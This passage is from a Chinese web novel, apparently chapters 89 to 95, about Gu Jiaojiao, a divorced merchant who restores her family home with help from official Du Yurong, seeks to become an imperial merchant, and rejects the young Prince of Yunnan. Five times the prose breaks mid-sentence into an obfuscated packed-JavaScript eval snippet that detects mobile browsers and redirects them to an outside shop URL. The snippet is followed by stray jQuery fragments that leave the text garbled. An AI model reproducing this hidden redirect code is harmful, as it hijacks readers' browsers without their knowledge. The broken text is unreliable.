孙协兆有些着急:“母亲,您总能想到办法的吧?咱们安阳侯府眼前的困境总得解决才是啊!” “我能有什么法子?”孙老夫人皱眉,直接将孙协兆的话堵死。 房内陷入寂静,一时之间僵持不下。 数秒后孙老夫人叹息一声:“罢了,事急从权,协兆我听说京中有一个钱庄可借银两,每月只需多给几两的利息便是,不若你先去借一些,将眼前的困境解决了?” 孙协兆点头:“事到如今,也没有别的法子了,便按照母亲说的做吧。” 说完,他起身回房,余光瞧见孙老夫人房中破败的一角,他牙齿轻咬。 顾皎皎这个贱妇,和离便和离了,竟然将事情做得这般绝,哼,等着吧,找到时 机他定会去她店铺给她制造些许麻烦! 翌日 天还未亮,顾皎皎便带着莺儿去父亲与母亲的埋骨之处看望。 她从食盒中端出数盘点心摆放在墓碑前边:“父亲、母亲,这是您们之前最喜爱的点心,都是女儿亲手做的,你们且尝尝女儿的手艺……” 从前父亲母亲尚在时,她疏于厨艺,二老未曾尝过一口她做的点心,如今她厨艺尚可了,已然怎么也得亲手做了,带来给二老尝尝。 做完一切,顾皎皎席地而坐,三千青丝随微风飘动,她亦有一句没一句的同父母闲聊。 天边泛起一丝鱼肚白,顾皎皎便即刻带着莺儿离开。 第九十章 成为笑柄 待回到京中闹市,莺儿询问道:“姑娘,那咱们现在是回府还是去店铺瞧瞧?” 顾皎皎轻轻摇头:“都不去,府中要修缮,所涉及的材料商鱼龙混杂,若是没选好,那顾家的祖宅便得毁我手里,趁着今日空闲,咱们去京中最好的材料店铺处瞧瞧。” 莺儿有些迟疑:“那处奴婢倒是听说过,可是姑娘,奴婢也听说了,那处只接待京中的权贵,像咱们这样的商贾,怕是进不去……” 闻言,顾皎皎神色凝重些许,片刻后她笑着道:“总要试试的,说不定掌柜的愿意放咱们进去呢?又或许我的贵人来了,大手一挥直接将我带进去了呢?” 说完,顾皎皎心情颇好地快步离开。 杜玉荣站在窗户处眺望外边人来人往的街道,温润的面上挂着一成不变的温和笑意。 “杜文,咱们走吧。” 杜文是杜玉荣身边伺候的小厮,二人可以说是从小一起长大,年岁相当,杜文也颇受杜玉荣信赖,杜玉荣身边的大事小事皆由杜文处理。 杜文:“好的公子,咱们可是现在回府?” “不回府。”杜玉荣轻轻摇头:“咱们去建方斋。”说完,他率先走在前头快步离开。 杜文站在原地愣了数秒,公子去建方斋作甚?府中也并无需要修缮之处啊?况且即便有需要修缮的,随意叫个人去请建方斋的来府中便是,又何必他自己亲自前往? 片刻后,他才带着满腔疑虑跟上主子的步子。 建方斋门口。 莺儿:“姑娘,奴婢有些紧张,您说奴婢待会儿走过去该说些什么才好?” 顾皎皎也有些紧张,今日她也是抱着试一试的态度来的,本以为建方斋这等地方,应当没什么人,这样若是被拒绝了,也不至于太丢人。 看着建方斋门口排着的长队,她顿觉头疼:“莺儿,要不咱们还是先回去吧,今日看着人属实有点多。” 若是大庭广众下进不去,明日京中便全是她今日的笑柄,她怎能允许自己成为笑柄! “顾姑娘,你怎会在此处?” 顾皎皎正准备拉着莺儿离开,身后却忽的传来温润之语。 听着声音有些耳熟,她转身回眸,正好与杜玉荣的视线撞上。 顾皎皎唇瓣微张,诧异道:“杜大人,您怎会在此处?” 杜玉荣温和一笑:“今日休沐,正好家中有一处年久失修,便想着来建方斋瞧瞧,没想到竟这般巧合,遇上顾姑娘。” “顾姑娘,您今日来此,也是为了家中修缮一事?” 杜玉荣十分有礼貌,声线也温润动听,顾皎皎只觉得春风拂面,十分舒适。 她注意到了杜玉荣的称呼,他从前称她为顾夫人,如今竟称为顾姑娘。 这点称呼上的小小变动,竟会使人觉得心中淌过一股暖流。 顾皎皎发自内心笑了笑:“是的,杜大人,因着我与孙协兆已经和离,继续住在安阳侯府实在不像话,如今我已经将东西搬回了从前的顾家祖宅。” “只是祖宅年久失修,住不得人,对于房屋修缮一事,我又不甚了解,是以特意过来瞧瞧。” “原是如此。”杜玉荣点头,他往建方斋方向看了看后笑着道:“看来顾姑娘今日出行的目的与我一致,难得这般巧合,顾姑娘,不若咱们结伴进去瞧瞧?” 顾皎皎眉心一跳,这是瞌睡来了便有人递枕头? 闻言,她欣然点头:“若是杜大人正好也空闲,能一起同游自然是好的。” 正愁进不去建方斋,杜大人肯带她进去,何乐而不为呢? “既如此,顾姑娘请。” 许是因为杜玉荣是建方斋常客,是以他们未曾排队便由小二直接带了进去。 一进去,掌柜的便热情迎了上来:“杜公子,今天什么风把您给吹来了,是府中有何物需要修缮吗?” 杜玉荣点头:“正是,不过今日我主要是陪着顾姑娘来的,她有意修缮祖宅,但对这个方面不是特别了解,还请掌柜的能找个专业一点的帮一下顾姑娘。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017305|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 掌柜的闻言看向顾皎皎的眼神热络了不少:“原来是顾姑娘要修缮祖宅啊,来,您这边请,我这便找人来给您说说材料与修缮样式之类的。” “那便多谢掌柜的。”顾皎皎点头致谢。 掌柜的将二人领到一件十分风雅的雅间,顾皎皎与杜玉荣面对面坐在桌前,有一搭没一搭的聊着天。 空气中弥漫着丝丝缕缕的尴尬气息,她倒是无所谓,毕竟她是一个已经和离过的妇人,而杜玉荣不一样,至今尚未婚配…… 许是建方斋生意太好,是以过了许久,掌柜的才带了一名小二过来:“杜大人,顾姑娘,接下来便由他来替您们说一下各种修缮材料与款式。” “嗯,多谢掌柜的。” 此人确实十分专业,三言两语便将话说得十分明白,也给顾府的修缮提出了许多专业的意见。 末了,那名小二微笑着看向顾皎皎:“顾姑娘,适合您祖宅修缮的材料便是这些,您可以考虑一下,若是觉得可以便可去交付部分银两,我们建方斋尽快遣人过来帮您修缮祖宅。” 顾皎皎确实对 方才这名小二所说十分动心,可她也知晓,建方斋生意十分火爆,她这般无权无势之人,小二口中的尽快,怕是怎么也得排到一月过后了。 她急着住进去,自然是等不到的。 不过她还是问了一嘴:“不知你口中的尽快,大概能有多快,三日内可否前往我家祖宅修缮?” “三日?这……”小二有些为难:“顾姑娘,这怕是没办法的,若是您对咱们建方斋满意的话,给您约尽快的,也得一月半后了。” “要一个半月啊……”顾皎皎有些失望:“我如今是等着住进去,所以定然是等不了的。” 小二:“若是这般,那真是太可惜了,只能下次再与顾姑娘合作了。” “不可惜。”杜玉荣忽然开了口,他笑看着顾皎皎:“若是顾姑娘不介意的话,我可将府中修缮加急名额让予你,不用一月有余,明日便可。” 第九十一章 可怎么办? “明日?”顾皎皎惊讶:“杜大人说的可是真的,竟能将一月有余的时间加急到明日?” 看着她微张的唇瓣,杜玉荣笑了笑:“自然是真的,杜某从不骗人,若是顾姑娘今日对建方斋满意,有意将修缮祖宅之事交给建方斋,我便可将府中加急名额让与你,明日便可便可到顾姑娘祖宅开工。” 建方斋小二也在一旁附和:“如此真是太好了,若是杜公子愿意将加急名额让给顾姑娘,那顾姑娘便不必等,现下就看顾姑娘您的意思了。” 顾皎皎垂眸,建方斋的东西在京城是数一数二的,满意自然是满意的,如今杜玉荣愿意帮她,她自然喜不自胜。 顿了数秒,顾皎皎道:“杜大人,我对建方斋自然是满意的,可是这加急名额十分珍贵,若是您将名额让给了我,您自己府中可怎么办?” “原来顾姑娘担心这个。”杜玉荣面上笑容加深:“事情都分个轻重缓急,府中那处本是小问题,慢慢修缮也是可以的,倒是顾姑娘祖宅修缮迫在眉睫,府中那处不影响日常生活,我可以等,顾姑娘不必担忧。” 闻言,顾皎皎松了口气,她拱手道谢:“如此,那便多谢杜大人了。” “顾姑娘不必这般客气,你我也算是旧相识了。” 小二见二人谈妥,忙笑着道:“既然二位客官已经达成共识,那顾姑娘请随我一道去交一部分定银,待修缮完成后再付尾银。” 顾皎皎点头:“好,带路吧。” 因着建方斋的生意实在太过火爆,结账便耽搁了许久,待二人从建方斋出来时,已近黄昏。 顾皎皎:“杜大人,今日多亏了您,我修缮祖宅一事才会这般顺利,不若杜大人随我去第一楼用膳。” 杜玉荣笑了笑,眸子温润至极,他看着顾皎皎道:“顾姑娘,今日之事本就是小事,您不必太过放在心上,也不用宴请我。” “不过是粗茶淡饭聊表谢意罢了,杜大人你也不必放在心上。” 二人并肩缓步走在街道上,保持着不远不近的距离,杜玉荣抬眸看了眼天色,遗憾道:“顾姑娘,来日方长,今日我府中还有要事处理,怕是与这顿饭无缘。” 顾皎皎也觉遗憾:“既然如此,那便改日。” “改日也好。”杜玉荣点头:“若是顾姑娘日后有什么需要帮忙之处,可随时遣人来杜府寻我,但凡我能帮上忙,必定襄助。” 顾皎皎受宠若惊,一时之间竟楞在原地没有反应过来,她实在想不通,为何三元及第的状元郎会对自己这般优待。 见她久久未曾回话,杜玉荣伸手在她面前晃了晃:“顾姑娘?” 顾皎皎回过神来,她发自内心露出一抹感激笑容:“那便恭敬不如从命了,多谢杜大人。” 杜玉荣颔首回以一笑,而后带着杜文缓步离开。 看着他们的背影,莺儿有些担忧:“姑娘,奴婢怎么觉得这位杜大人实在太过好了,好得让奴婢觉得不真实……” 想到什么,她的脸色白了几分:“姑娘,这杜大人不会对您另有所图吧?” “你啊!”顾皎皎轻轻弹了弹莺儿的额头,颇为无奈:“杜大人乃是三元及第的状元郎,家中背景也显赫,身边女子多如过江之鲫,我一个和离妇人,他怎会对我有非分之想?” “怎么不可能,就算姑娘和离了那又如何,奴婢觉得姑娘是天下最好的姑娘,便是配小云南王也配得……” “不许胡说。”顾皎皎赶忙捂住莺儿的嘴左右张望,见无人注意这边,才松了口气。 她面色凝重道:“莺儿,如今我才与孙协兆和离,不知多少双眼睛都盯着我,若是方才你那番话,被有心人听到了编排可如何是好?” “若仅仅只是名声受损也没什么,可方才你说的那两人,都是家世了得之人,我若坏了他们名声,纵使他们本人不计较,他们背后的家族也不会放过我……” 顾皎皎松开捂住莺儿嘴唇的手: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017306|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “所以,以后莫要再说这等话明白了吗?” 莺儿连忙点头:“姑娘,奴婢知晓了……奴婢日后定然不会犯同样的错误!” 见她做了保证,顾皎皎也不欲多追究,她的目光看向方才杜玉荣离开的方向,那里早没了主仆二人的身影。 虽然不知晓为何杜玉荣会这般劳心费力帮助自己,可也确实帮了自己很大的忙,或许,日后她能想法子多与杜玉荣走动一番,搞好关系,这样于她有益无害。 “莺儿,回吧。” 翌日,一大清早,顾皎皎才梳洗好便听到敲门声,她看了眼门的方向:“莺儿,去开门,看看是谁。” “吱嘎” 房门打开,莺儿结结巴巴道:“杜……杜大人……您怎么来了?” “杜大人?”顾皎皎闻言皱眉,她抬眸看向面前的铜镜,竟真的看到了杜玉荣。 她瞪大眼,赶忙站起身,有些慌乱:“杜大人,您怎么来了?我记得我并未告知您我住在何处啊?” “你虽未告知我,建方斋却是知晓的。”杜玉荣笑着往旁边挪动了一步,他身后穿着建方斋服饰的一群人映入眼帘,他们每个人手中都拿着一个大大的箱子,想来里面装了不少工 具。 杜玉荣笑了笑:“说好了今日来给你修缮祖宅的,你莫不是忘了?” 顾皎皎:“此等大事怎会忘记?我也正翘首以盼,只是未曾料到杜大人会一起罢了。” 杜玉荣:“今日我本也觉得不过来的,可因着是我将加急名额让予你的,是以,建方斋要求开工第一日,我得过来。” “原来如此。”她恍然大悟,忙将所有人迎进屋内:“莺儿,去找掌柜的泡几杯茶水来,给诸位消消渴。” 进入屋内,建方斋带头之人直接进入正题,三两下便与顾皎皎敲定好修缮途中的细节,莺儿还未将茶水端回来,带头之人便礼貌道:“顾姑娘,现在可否带我们前往需要修缮之处?” 第九十二章 润物细无声 “因着咱们建方斋的订单实在太多,是以能迅速处理的便会迅速处理,以免人手上不够。” 顾皎皎笑了笑:“理解,请随我来吧。” 将人带去顾府后,顾皎皎便也就无事可做了,她替杜玉荣斟了一杯茶:“杜大人,请。” “多谢。” 杜玉荣端起茶水抿了一口,而后淡声道:“顾姑娘,建方斋一向如此,便是修缮王府也是这般火急火燎,你莫要放在心上。” “自然不会。”顾皎皎摇头,想到什么,她问道:“建方斋的材料、工艺在京中数一数二不假,可它从不接待平民,为何生意还会这般好?” “纵然京中权贵多,可每个人家中也不会日日需要修缮啊?” “顾姑娘只知其一不知其二。”杜玉荣缓缓将茶盏放下:“建方斋是不接待平民不假,京中权贵家中也不会日日都需修缮,可因为建方斋的材料与工艺极为出色,是以圣上特意将宫中的一应宫殿全部交由建方斋修缮。” “这样自然不会没有活计。” 闻言,顾皎皎眸子亮了些许:“那建方斋如今便与皇商差不多?” “是也不是,大致相同吧,总之建方斋能发展到如今,除了它自己本事过硬外,也胜在有些运气,能够得到皇上青睐。” 直到杜玉荣与建方斋的人都离开,顾皎皎仍旧是神游状态。 莺儿没忍住问道:“姑娘,您这是怎么了,怎的与杜大人聊了一会儿后便一直心不在焉的?杜大人可是说了什么话?” 顾皎皎这才回过神来,面上却仍旧若有所思:“杜大人说,建方斋如今的模式与皇商大同小异。” 莺儿立马懂了主子的意思:“姑娘,难道您对成为皇商感兴趣?” “正是。” 顾皎皎点头,神色凝重:“如今店铺的生意虽然看着尚可,但今后已经没有什么发展的可能,鼎盛过后必会迎来衰退。” 莺儿:“姑娘,奴婢瞧着不一定,现在咱们店铺的生意比旁的店铺好得多,并且有不少回头客呢,认准了咱们家买。” 顾皎皎自然知晓莺儿所言非虚,可她仍旧觉得成为皇商才能保证顾家的生意长久不衰。 “这些生意都只是暂时,说白了,现目前咱们的所有商铺客人来源都是散客,他们能来也能走,终究不如成为皇商稳定,况且若是成了皇商,沾了一个皇字,想来便不会有人敢轻易来惹麻烦……” 莺儿似懂非懂点头:“可是姑娘,奴婢听说,要成为皇商特别难……条件特别苛刻,并且还需要有一定的人脉,咱们在京中唯一认识的有权有势的人家便是安阳侯府,他们怕是不会帮我们……” 听见莺儿提孙家,顾皎皎嘲讽一笑:“谁说要靠他们了?呵,他们也没这个实力。” “姑娘心中可是有了能帮助咱们的人选?” 顾皎皎点头:“正是。” “姑娘,是何人?” “杜玉荣,杜大人。” 莺儿恍然大悟:“杜大人是三元及第的状元郎,想来在朝中能说得上话,况且昨日杜大人也说了,若是姑娘有事相求,他会帮。” “姑娘,既然您心中已经有了主意,不若找个时间同杜大人说说?” 顾皎皎闻言哭笑不得:“客套话都是这样说的,哪里能当真?如今我与杜大人并不熟,若是厚着脸皮提出这等请求难免不太好,此事急不得,只能徐徐图之。” 她站起身,在屋内踱步:“杜大人的职位是在户部,而成为皇商一事,正好便是户部管,总之这段时日咱们且与杜大人走勤一些,培养些许情分,后面提出请求时再给足诚意,想来应该问题不大。” “这件事情便交给你了,务必得上心。” 莺儿有些窘迫,她低头道:“姑娘,奴婢从未接触过杜大人这般的人,不知应当如何做,还请姑娘教教奴婢。” 顾皎皎其实也从未与杜玉荣这般的人接触过,他这人看似温润如玉,实际上并非那么好相予,想要真正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017307|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他放在眼里,还是十分困难的。 从这几次接触看来,杜玉荣身世好,什么物件都是见过的,若是简单的送一些珍贵之物,他也不一定看得上…… 思虑许久后,顾皎皎淡声道:“这样,第一楼和点心铺子,每次出的新品,都装上一份儿去给杜大人尝鲜,总之咱们手中的商铺,但凡有新品,都给杜大人送一份儿过去。” 莺儿欲言又止:“姑娘……杜大人会不会觉得咱们寒酸?” “不会,礼轻情意重,他这种天之骄子,什么好的没见过,你送珍贵之物到不显得那么特殊了,不会被人记住,正是这种润物细无声的方式,才能在杜大人心中留下深刻印象。” “是,姑娘,奴婢一定办好。” 杜府 沈云祉与杜玉荣各执一子博弈,黑子落下,满盘皆输,杜玉荣拱手:“小王爷,您赢了。” 沈云祉将棋子放回去:“本王也不过险胜罢了,在京中,本王还未找到能与本王博弈之人,玉荣你是例外。” 许是腹中有些饿了,他随手拿起一块点心品尝,入口的香甜滋味令他顿住。 沈云祉道:“玉荣,这点心可是你 府中厨子做的?甜而不腻,入口即化,味道十分特别。” 杜玉荣笑着摇头:“小王爷,我府中厨子可没有这个手艺。” “哦?竟不是你府中厨子做的?那这点心从何而来,是从点心铺子购买的?” “小王爷猜对了一半。”杜玉荣将棋子收好后才淡声解释道:“王爷可还记得孙协兆之前的夫人,顾皎皎?” 听见顾皎皎三字,沈云祉眉心跳了跳,他忙垂下眸子看向手中点心:“记不太清了,怎么,这点心是她送的?” 杜玉荣点头:“正是,这段时日,顾姑娘总归隔一日便送些她店铺中售卖的或吃食、或新奇玩意儿过来。” 闻言,沈云祉心中莫名有些堵得慌,他道:“这般殷勤?玉荣,你可知她是为了何事这般?” 第九十三章 对症下药 杜玉荣起身替沈云祉斟了一杯茶,思虑片刻后,他笑着道:“想来,顾姑娘应当是想成为皇商,而我恰好在户部任职。” 沈云祉挑眉:“她想成为皇商?此话怎讲?” “正是。”杜玉荣将那日与顾皎皎交谈之言悉数告之,片刻后,他才道:“当然,这也只是我的猜测罢了,顾姑娘不一定有这个想法。” “看来八九不离十。”沈云祉轻笑,轻抿了一口茶水:“她倒是个机灵的,知晓你看不上其他东西,便用这般法子来讨好你。” 闻言,杜玉荣面上笑容依旧,他将手中茶盏放置在石桌上,淡声道:“小王爷说笑了,顾姑娘此举倒是谈不上讨好,她也是为了日后之事做铺垫罢了。” 沈云祉点头,不再说话,二人相对无言。 直到回了驿站,沈云祉仍旧感觉心中有些闷闷的,以至于他做什么事儿都心不在焉。 双瑞察觉出自家主子的异常,低声询问:“小王爷,您可是身子哪里不舒服?” 沈云祉开口:“无碍,我身子好得很。” 闻言,双瑞更加担忧,以他对小王爷的了解,方才小王爷的话中多少有些不对劲,只是没有表现出来,想了想他才道:“小王爷,若是有何处不适,应当及时就医才是,对症下药才能尽快根治毛病,恢复健康,若是王爷与王妃瞧见您这般,定然会心疼的。” “对症下药。”沈云祉呢喃这四字。 “是啊,小王爷,可要小的去给您请一位大夫来瞧瞧?” 他摇头:“不必。” 双瑞顿了数秒,又问道:“那小的去宫中请太医来给您瞧瞧?” 沈云祉还是摇头,片刻后,他才淡声吩咐:“去顾府把顾皎皎请过来。” “顾姑娘?”双瑞一头雾水,王爷身子不适,为何要请顾姑娘?难道顾姑娘会医术? 不过双瑞并没有多问,而是恭敬道:“是,小王爷,小的这便去将顾姑娘请过来。” 看着双瑞离开的方向,沈云祉眸色深深,细细想来今日他的异常全源自于知晓顾皎皎为了成为皇商,而讨杜玉荣开始,这种情绪为何而来他不清楚,不过想来若是他直接帮助顾皎皎成为皇商,这种莫名其妙的情绪便会转瞬消散。 过了大约一个时辰,双瑞回了驿站。 见他身后空无一人,沈云祉有些不悦:“怎么?顾皎皎不愿同你过来?” 双瑞摇头连忙解释道:“不是的,小王爷,因着第一楼生意实在太过繁忙,小的并未抽到合适时机见顾姑娘……怕小王爷您久等,所以便先回来复命了。” “原是如此。”沈云祉微微点头:“我知道了,你下去吧,不必再去请她了。” “是,小王爷。” 因着第一楼近日出了几款新品,色香味俱全,是以这段时日冲着新品而来的客人多如过江之鲫。 这样一来,第一楼原本的人手便不够用了,顾皎皎只能带着莺儿顶替上。 夜深时分,顾皎皎仍旧垂首查看账簿。 莺儿端了一盏热茶放置在桌上:“姑娘,已经快子时了,要不账簿明天再看,咱们先回去歇息吧,明日指定又得忙一整天呢。” “我现下还不困,若是你困了,便回吧。”顾皎皎头也未抬,仍旧埋首于账簿之中:“今日事今日毕,本来这两日生意便极好,若是又因着自己的缘故偷懒,待这几日忙完,那账多半也理不清了。” 莺儿:“那奴婢陪着姑娘,长夜漫漫,您一人在此难免会害怕。” 顾皎皎点头:“也好,若是困了,你便在旁边歇息便是。” 待顾皎皎将账簿处理完,已经是丑时了,街道外边寂静不已,虫鸣声格外清晰,她站在窗边呼吸着属于丑时的新鲜空气,冷风拂面,意识也清醒了不少。 顾皎皎抬头看去,深蓝色的夜幕上只悬挂着几颗稀疏的星子,圆月也被乌云遮住,瞧不清去向。 睡意袭来,顾皎皎就地小憩。 “姑娘,您现在可醒了?有贵客指定要见您,您可要前去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017308|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞧瞧?” 翌日,天还未大亮,第一楼的小二便急匆匆拍打房门。 莺儿睡眼惺忪打开房门:“吵什么,这才什么时辰,昨日姑娘看账本就看得晚,还没睡几个时辰呢,你便跑来吵吵嚷嚷的!” 小二赶忙道歉:“莺儿姐姐,不是我想扰姑娘清梦,确实是有一位贵客点名了要见姑娘……我也是没有办法……” 小二感觉都快急哭了,见此,莺儿才信了几分。 “是何人,你竟这般着急?” “是……是小云南王……” 这下子连莺儿也呆住了,第一楼自然也会来不少有权有势之人,可还从未见过哪个天还未亮便堵在第一楼门口的,更何况还是身份尊贵的小云南王。 莺儿:“你先去好生接待小云南王,我这边进去给姑娘说说情况。” “莺儿姐姐,那你动作可得快些。” 顾皎皎在里屋,纵然半梦半醒之间,也将二人的对话听了个透彻,因此,当莺儿进来时,她已经从塌上坐起身。 莺儿:“姑娘,您醒了?方才小二说……” 顾皎皎抬手制止了她接下来 的话:“我已经听到了,小云南王此刻来第一楼定然不是为了吃饭,应当有旁的什么事儿。” 她的声音有些哑:“罢了,伺候我梳洗吧,总得去见了才知晓小云南王今日忽然造访是何来意。” 待顾皎皎收拾妥当,时间已经过了小半个时辰。 第一楼小二将沈云祉带到雅间,替他准备了上好的茶水点心。 到了门口,顾皎皎整理了一番才面带笑容推门进去:“不知小王爷今日到访,让您久等了,实在抱歉。” 沈云祉倒了两盏茶,做了一个请的姿势,他淡声道:“今日贸然前来是本王失礼,与顾姑娘你无关。” 小云南王说他自己失礼,顾皎皎自然不会傻到真的以为他失礼,于是,她忙笑着道:“第一楼向来以顾客为天,便是小王爷半夜来,也应招待周全。” 第九十四章 专门来寻她 “只是因着这两日楼中实在太过繁忙,人手不够,难免手忙脚乱,是以才会出现这般失礼的情况,还请小王爷莫要怪罪才是。” 沈云祉皱眉,不再说话。 顾皎皎的话说得并无错处,可听着她这般客套,他总会觉得心中有些不悦,从杜玉荣的描述中,她对杜玉荣似乎并非这般,难道是因为他的身份比杜玉荣尊贵? 顾皎皎一直打量沈云祉面色,见他一副不太高兴的模样,她顿觉心中打鼓,难道她哪句话没说对,就把小云南王给得罪了? 房间一刹那寂静下来,二人谁也没说话。 过了数秒,顾皎皎才道:“小王爷,您今日这般早便来第一楼,可是有何事找我?” 沈云祉闻言,这才来了些兴致:“你怎知我是找你有事,而不是馋了你们第一楼的手艺?” 顾皎皎微微笑了笑,在沈云祉面前落座:“小王爷,第一楼因着没卖早点,是以早晨是不接客的,您天还未亮便来了,自然不可能是简简单单的吃饭。” “确有一事。”沈云祉也不打算同她绕圈子,他今日来本就是解决问题的,他骨节分明的十指交叠于桌面上,漆黑如墨的眸子直勾勾看着顾皎皎:“本王听说,顾姑娘有意做皇商?” 顾皎皎与沈云祉对视,一句你怎么知晓险些脱口而出,想到孙老夫人举办赏花宴那日的情景,她忽的了然。 小云南王与杜大人看起来有些相熟,他们个个都是人精,自己这段时日对杜玉荣百般献殷勤,便是傻子也该猜出她心中所想了。 只是,这本是小事儿,小云南王为何会为了此事专门来寻她? 难道是专门过来警告她,莫要对皇商一事抱有幻想的? 就在顾皎皎胡乱猜测沈云祉来意的时候,沈云祉发了话,他品了一口茶,淡声道:“其实,顾姑娘,玉荣是户部的没错,可他到底新官上任,根基尚浅,你与其想着与他打好关系,希望他在你成为皇商一事上帮忙,你不如改变策略求我帮忙。” 顾皎皎显然没料到沈云祉会说出这般话,一时拿不准他究竟是何意思,是以也不敢贸然回话。 沈云祉猜到了她的想法,他放松身体倚靠凳子上:“本王这话便是字面意思,顾姑娘,我朝想成为皇商,条件极其苛刻,你与其在玉荣处下功夫,不若在我处下功夫。” “如今圣上身子不太好,百姓也都知晓,圣上会在兄弟中选一人继位,本王的父王便是最有可能荣登大宝之人,若是本王的父王荣登大宝,顾姑娘你说,本王是何身份?” “若是云南王成了皇上,您自然便是当之无愧的太子。” 沈云祉愉悦一笑:“是了,顾姑娘,本王是最有可能替你实现你想法的人,况且顾姑娘应该也懂良禽择木而栖的道理吧?” 顾皎皎沉默,这个道理她自然是懂的,也知晓沈云祉比杜玉荣更加有权有势,她想要做什么,乘沈云祉这股东风是最好的。 可有权有势也代表了是非多,身边牛鬼蛇神不知有多少,她每日处理手中商铺大小事宜已经十分劳累了,哪里还有心思去管这些? 况且孙协兆与小云南王在外可一直至交好友的身份,若是自己当真跟了小云南王,日后与孙协兆那贱人难免会有接触,这不是纯纯恶心人吗? 见她久久没说话,沈云祉笑着道:“顾姑娘,你不必急着给我答复,可以郑重考虑清楚了,改日在同本王聊聊。” 顾皎皎沉默了数秒,而后看向沈云祉坚定道:“小王爷,不用改日,今日便可,我已经考虑清楚了。” “那顾姑娘,你的意思是?” “多谢王爷垂爱,恐怕我得辜负您的一片好心了。” 沈云祉对她的回答十分诧异,他嘴唇微张,不可置信道:“顾姑娘,你的意思是,拒绝本王?” 顾皎皎点头:“多谢王爷垂爱,只是我向来没什么大抱负,若是实在做不成皇商也没什么,守着父亲留下的产业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14017309|148660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总归也是饿不死的。” 顾皎皎的回答,显然超出了沈云祉的料想范围,他没料到她会拒绝。 他深吸一口气,再次问道:“本王的意思,顾姑娘你真的明白了吗?” “小王爷说笑了,我自然是明白的,也知晓自己在做什么。” 顾皎皎的态度十分坚定,她温和一笑:“都说燕雀安知鸿鹄之志,可鸿鹄何尝不是不知燕雀的安稳幸福呢?” 沈云祉闻言不说话了,只神色莫名的看着顾皎皎清冷的面容。 就在顾皎皎被他看得十分心虚之时,沈云祉挪开视线,他声音淡淡的,无一丝情绪起伏:“既然顾姑娘心中有了主意,本王自然也不会勉强。” 顾皎皎这才松了口气,今日她说的确实大多数都是瞎说的,她只是单纯不想与小云南王扯上关系罢了。 沈云祉将顾皎皎的动作尽收眼底,当下也知晓了她的真实想法,心中又传来那种闷闷的感觉。 他伸手扯了扯衣袖,心情颇为烦躁:“既然如此,那本王便先走了,今日本王说的话一直作数,若是顾姑娘哪日改变了主意,也可来找本王。” “多谢王爷。”顾皎皎俯身行礼,礼貌一笑。 沈云祉仿若 一拳打到棉花上,心中带着一股气离开。 待人走远了,莺儿才不解道:“姑娘,您本也想做皇商,为何要拒绝小王爷呢?奴婢瞧着小王爷好似十分有诚意呢。” 顾皎皎微微一笑:“什么诚意不诚意的,这些身处高位之人,向来都是老谋深算,你以为,小云南王当真会这般好心,就因为我想成为皇商,所以便巴巴找来?” 莺儿:“可方才奴婢也未曾听见小王爷提什么条件啊……” “那是因为我还没答应他罢了。”顾皎皎颇觉无奈,上次与沈云祉交谈的一幕似乎还在眼前:“莺儿,你要知道,他们这种人从来不会做亏本买卖,你想要他帮你,首先你得有价值。” 第九十五章 会达成所愿 莺儿懂了个大概,许多地方却仍旧懵懂:“可是姑娘,究竟怎样才算有价值,若是按照您说的,都是互惠互利的关系的话,您与小云南王合作,应当也是不会吃亏的……” 